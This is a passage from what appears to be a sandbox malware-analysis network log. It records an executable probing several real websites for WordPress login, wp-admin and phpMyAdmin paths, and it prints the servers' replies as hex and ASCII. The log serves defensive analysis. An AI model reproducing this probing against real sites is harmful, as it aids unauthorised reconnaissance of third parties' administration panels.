6f 6e 65 7d 3c 2f 73 74 79 6c 65 3e 3c 64 69 76 3e 46 6f 72 20 66 75 6c 6c 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 6f 66 20 74 68 69 73 20 73 69 74 65 20 69 74 20 69 73 20 6e 65 63 65 73 73 61 72 79 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 2e 20 48 65 72 65 20 61 72 65 20 74 68 65 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></title><script src="https://www.google.com/adsense/domains/caf.js?abp=1" type="text/javascript"></script><noscript><style>#content-main{display:none}</style><div>For full functionality of this site it is necessary to enable JavaScript. Here are the <a target="_blank" rel="noopener noreferrer" href="https://
Nov 26, 2023 06:59:32.521672964 CET	166	IN	Data Raw: 77 77 77 2e 65 6e 61 62 6c 65 2d 6a 61 76 61 73 63 72 69 70 74 2e 63 6f 6d 2f 22 3e 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 20 69 6e 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 Data Ascii: www.enable-javascript.com/">instructions how to enable JavaScript in your web browser</a>.</div></noscript><scri
Nov 26, 2023 06:59:32.521684885 CET	557	IN	Data Raw: 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 2e 4c 41 4e 44 45 52 5f 53 59 53 54 45 4d 3d 22 50 57 22 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 Data Ascii: pt type="application/javascript">window.LANDER_SYSTEM="PW"</script><script type="text/javascript">var abp=void 0</script><script type="text/javascript" src="/px.js?ch=1&abp=1"></script><script type="text/javascript" src="/px.js?ch=2&abp=1"></s
Nov 26, 2023 06:59:32.534429073 CET	557	IN	Data Raw: 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 2e 4c 41 4e 44 45 52 5f 53 59 53 54 45 4d 3d 22 50 57 22 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 Data Ascii: pt type="application/javascript">window.LANDER_SYSTEM="PW"</script><script type="text/javascript">var abp=void 0</script><script type="text/javascript" src="/px.js?ch=1&abp=1"></script><script type="text/javascript" src="/px.js?ch=2&abp=1"></s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	56383	191.6.210.8	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.184374094 CET	230	OUT	GET /wp-login.php HTTP/1.1 Host: esistem.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.402869940 CET	461	IN	HTTP/1.1 403 Forbidden Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Content-Length: 262 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 70 20 61 6c 69 67 6e 3d 27 63 65 6e 74 65 72 27 3e 26 6e 62 73 70 3b 3c 2f 70 3e 3c 70 20 61 6c 69 67 6e 3d 27 63 65 6e 74 65 72 27 3e 26 6e 62 73 70 3b 3c 2f 70 3e 3c 70 20 61 6c 69 67 6e 3d 27 63 65 6e 74 65 72 27 3e 26 6e 62 73 70 3b 3c 2f 70 3e 3c 70 20 61 6c 69 67 6e 3d 27 63 65 6e 74 65 72 27 3e 26 6e 62 73 70 3b 3c 2f 70 3e 3c 70 20 61 6c 69 67 6e 3d 27 63 65 6e 74 65 72 27 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 27 41 72 69 61 6c 27 20 73 69 7a 65 3d 27 33 27 3e 45 72 72 6f 20 34 30 33 3c 2f 66 6f 6e 74 3e 3c 2f 62 3e 3c 2f 70 3e 3c 70 20 61 6c 69 67 6e 3d 27 63 65 6e 74 65 72 27 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 27 4d 53 20 53 61 6e 73 20 53 65 72 69 66 27 20 73 69 7a 65 3d 27 32 27 3e 41 63 65 73 73 6f 20 6e 65 67 61 64 6f 3c 2f 66 6f 6e 74 3e 3c 2f 70 3e Data Ascii: <p align='center'> </p><p align='center'> </p><p align='center'> </p><p align='center'> </p><p align='center'><b><font face='Arial' size='3'>Erro 403</font></b></p><p align='center'><font face='MS Sans Serif' size='2'>Acesso negado</font></p>
Nov 26, 2023 06:59:32.403399944 CET	272	OUT	GET /wp-admin/ HTTP/1.1 Host: esistem.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://esistem.com.br/wp-login.php
Nov 26, 2023 06:59:32.621352911 CET	762	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Last-Modified: Thu, 24 Oct 2019 19:33:13 GMT ETag: "1e8-595ad1aad5040" Accept-Ranges: bytes Content-Length: 488 Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 74 2d 62 72 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 50 e1 67 69 6e 61 20 4e e3 6f 20 45 6e 63 6f 6e 74 72 61 64 61 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 41 72 69 61 6c 22 20 73 69 7a 65 3d 22 33 22 3e 45 72 72 6f 20 34 30 34 3c 2f 66 6f 6e 74 3e 3c 2f 62 3e 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 4d 53 20 53 61 6e 73 20 53 65 72 69 66 22 20 73 69 7a 65 3d 22 32 22 3e 50 e1 67 69 6e 61 20 6e e3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 3c 2f 66 6f 6e 74 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Language" content="pt-br"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Pgina No Encontrada</title></head><body><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"><b><font face="Arial" size="3">Erro 404</font></b></p><p align="center"><font face="MS Sans Serif" size="2">Pgina no encontrada</font></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	56459	74.220.219.189	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.184380054 CET	232	OUT	GET /wp-login.php HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.373527050 CET	280	IN	HTTP/1.1 409 Conflict Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Content-Length: 83 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>
Nov 26, 2023 06:59:32.374361992 CET	276	OUT	GET /wp-admin/ HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://himontessori.com/wp-login.php

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	56495	72.167.58.161	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.184443951 CET	226	OUT	GET /phpmyadmin/ HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.341968060 CET	489	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Location: https://webstamp.ca/phpmyadmin/ Content-Length: 239 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://webstamp.ca/phpmyadmin/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	56595	67.205.16.72	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.186343908 CET	227	OUT	GET /phpmyadmin/ HTTP/1.1 Host: capforge.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.281147957 CET	491	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Location: https://capforge.com/phpmyadmin/ Content-Length: 240 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://capforge.com/phpmyadmin/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	56148	148.66.138.193	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.228060007 CET	229	OUT	GET /phpmyadmin/ HTTP/1.1 Host: octetpowers.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.692622900 CET	1340	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Accept-Ranges: bytes Vary: Accept-Encoding Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Content-Length: 1699 Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 0a 2e 6c 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0a 7d 0a 0a 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 33 32 38 32 65 36 3b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 74 65 Data Ascii: <!DOCTYPE html><html><head><title>File Not Found</title><meta http-equiv="content-type" content="text/html; charset=utf-8" ><meta name="viewport" content="width=device-width, initial-scale=1.0"><style type="text/css">body { background-color: #eee;}body, h1, p { font-family: "Helvetica Neue", "Segoe UI", Segoe, Helvetica, Arial, "Lucida Grande", sans-serif; font-weight: normal; margin: 0; padding: 0; text-align: center;}.container { margin-left: auto; margin-right: auto; margin-top: 177px; max-width: 1170px; padding-right: 15px; padding-left: 15px;}.row:before, .row:after { display: table; content: " ";}.col-md-6 { width: 50%;}.col-md-push-3 { margin-left: 25%;}h1 { font-size: 48px; font-weight: 300; margin: 0 0 20px 0;}.lead { font-size: 21px; font-weight: 200; margin-bottom: 20px;}p { margin: 0 0 10px;}a { color: #3282e6; text-decoration: none;}</style></head><body><div class="container te
Nov 26, 2023 06:59:32.692636967 CET	758	IN	Data Raw: 78 74 2d 63 65 6e 74 65 72 22 20 69 64 3d 22 65 72 72 6f 72 22 3e 0a 20 20 3c 73 76 67 20 68 65 69 67 68 74 3d 22 31 30 30 22 20 77 69 64 74 68 3d 22 31 30 30 22 3e 0a 20 20 20 20 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 35 30 2c 32 35 Data Ascii: xt-center" id="error"> <svg height="100" width="100"> <polygon points="50,25 17,80 82,80" stroke-linejoin="round" style="fill:none;stroke:#ff8a00;stroke-width:8" /> <text x="42" y="74" fill="#ff8a00" font-family="sans-serif" font-wei

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	56507	74.220.219.189	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.228502035 CET	231	OUT	GET /phpmyadmin/ HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.423115969 CET	499	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Location: https://himontessori.com/phpmyadmin/ Content-Length: 244 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://himontessori.com/phpmyadmin/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	56534	89.31.143.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.237350941 CET	227	OUT	GET /phpmyadmin/ HTTP/1.1 Host: viidelta.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.422318935 CET	1340	IN	HTTP/1.1 200 OK Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-UD-METHOD: vm_construction Server: UD Forwarding 3.1 Data Raw: 32 33 32 32 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 48 69 65 72 20 65 6e 74 73 74 65 68 74 20 76 69 69 64 65 6c 74 61 2e 63 6f 6d 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 48 4f 52 54 43 55 54 20 49 43 4f 4e 22 20 68 72 65 66 3d 22 2f 67 66 78 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 3c 74 69 74 6c 65 3e 76 69 69 64 65 6c 74 61 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 62 6f 64 79 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 62 66 62 66 62 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 56 65 72 64 61 6e 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 27 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 77 41 41 41 50 2b 43 41 4d 41 41 41 41 49 47 51 35 61 41 41 41 44 41 46 42 4d 56 45 58 36 2b 76 72 36 2b 76 6e 35 2b 76 72 35 2b 76 6e 36 2b 66 72 36 2b 66 6e 35 2b 66 6e 34 2b 50 6a 34 2b 50 66 33 2b 50 6a 33 2b 50 66 34 39 2f 6a 33 39 2f 66 33 39 2f 62 32 39 76 62 32 39 76 58 31 39 76 62 31 39 76 58 32 39 66 62 31 39 66 58 31 39 66 54 30 39 50 54 30 39 50 50 7a 39 50 54 7a 39 50 50 30 38 2f 54 30 38 2f 50 7a 38 2f 50 79 38 76 4c 79 38 76 48 78 38 76 48 79 38 66 4c 78 38 66 48 78 38 50 48 77 38 50 44 77 38 4f 2f 76 38 50 44 76 38 4f 2f 77 37 2f 44 77 37 2b 2f 76 37 2b 2f 75 37 75 37 75 37 75 33 74 37 75 33 75 37 65 37 75 37 65 33 74 37 65 33 73 37 4f 7a 73 37 4f 76 72 37 4f 7a 72 37 4f 76 73 36 2b 7a 72 36 2b 76 72 36 2b 72 71 36 75 72 71 36 75 6e 70 36 75 72 70 36 75 6e 71 36 65 6e 70 36 65 6e 70 36 4f 6e 6f 36 4f 6a 6f 36 4f 66 6e 36 4f 6a 6e 36 4f 66 6f 35 2b 6a 6f 35 2b 66 6e 35 2b 66 6d 35 75 62 6d 35 75 58 6c 35 75 62 6c 35 75 58 6d 35 65 62 6d 35 65 58 6c 35 65 58 6b 35 4f 54 6b 35 4f 50 6a 35 4f 54 6a 35 4f 50 6b 34 2b 54 6a 34 2b 50 6a 34 2b 4c 69 34 75 4c 69 34 75 48 68 34 75 4c 68 34 75 48 69 34 65 4c 69 34 65 48 68 34 65 48 67 34 4f 44 67 34 4e 2f 66 34 4f 44 67 33 2b 44 66 33 39 2f 66 33 39 37 65 33 74 37 65 33 74 33 64 33 74 37 65 33 64 37 64 33 64 33 64 33 64 7a 63 33 4e 7a 63 33 4e 76 62 33 4e 7a 62 33 4e 76 63 32 39 7a 62 32 39 76 62 32 39 72 61 32 74 72 61 32 74 6e 5a 32 74 72 61 32 64 72 61 32 64 6e 59 32 74 6e 5a 32 64 6e 59 32 4e 6a 59 32 4e 66 58 32 4e 6a 58 32 4e 66 59 31 39 6a 58 31 39 66 58 31 39 62 57 31 74 62 57 31 74 58 56 31 74 62 56 31 74 58 57 31 64 62 57 31 64 58 56 31 64 58 55 31 4e 54 55 31 4e 50 54 31 4e 54 54 31 4e 50 55 30 39 54 55 30 39 50 54 30 39 50 53 30 74 4c 53 30 74 48 52 30 74 4c 52 30 74 48 53 30 64 4c 53 30 64 48 52 30 64 48 51 30 4e 44 51 30 4d 2f 50 30 4e 44 50 30 4d 2f 51 7a 39 44 50 7a 38 2f 50 7a 38 37 4e 7a 63 33 4d 7a 4d 33 4d Data Ascii: 23223<!DOCTYPE html><html lang="de"><head><meta name="description" content="Hier entsteht viidelta.com"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><link rel="SHORTCUT ICON" href="/gfx/favicon.ico"><title>viidelta.com</title><style>*{margin:0;padding:0}html,body{height:100%;background-color:#fbfbfb}body{font-family:Arial,Verdana,sans-serif;text-align:center;margin:0 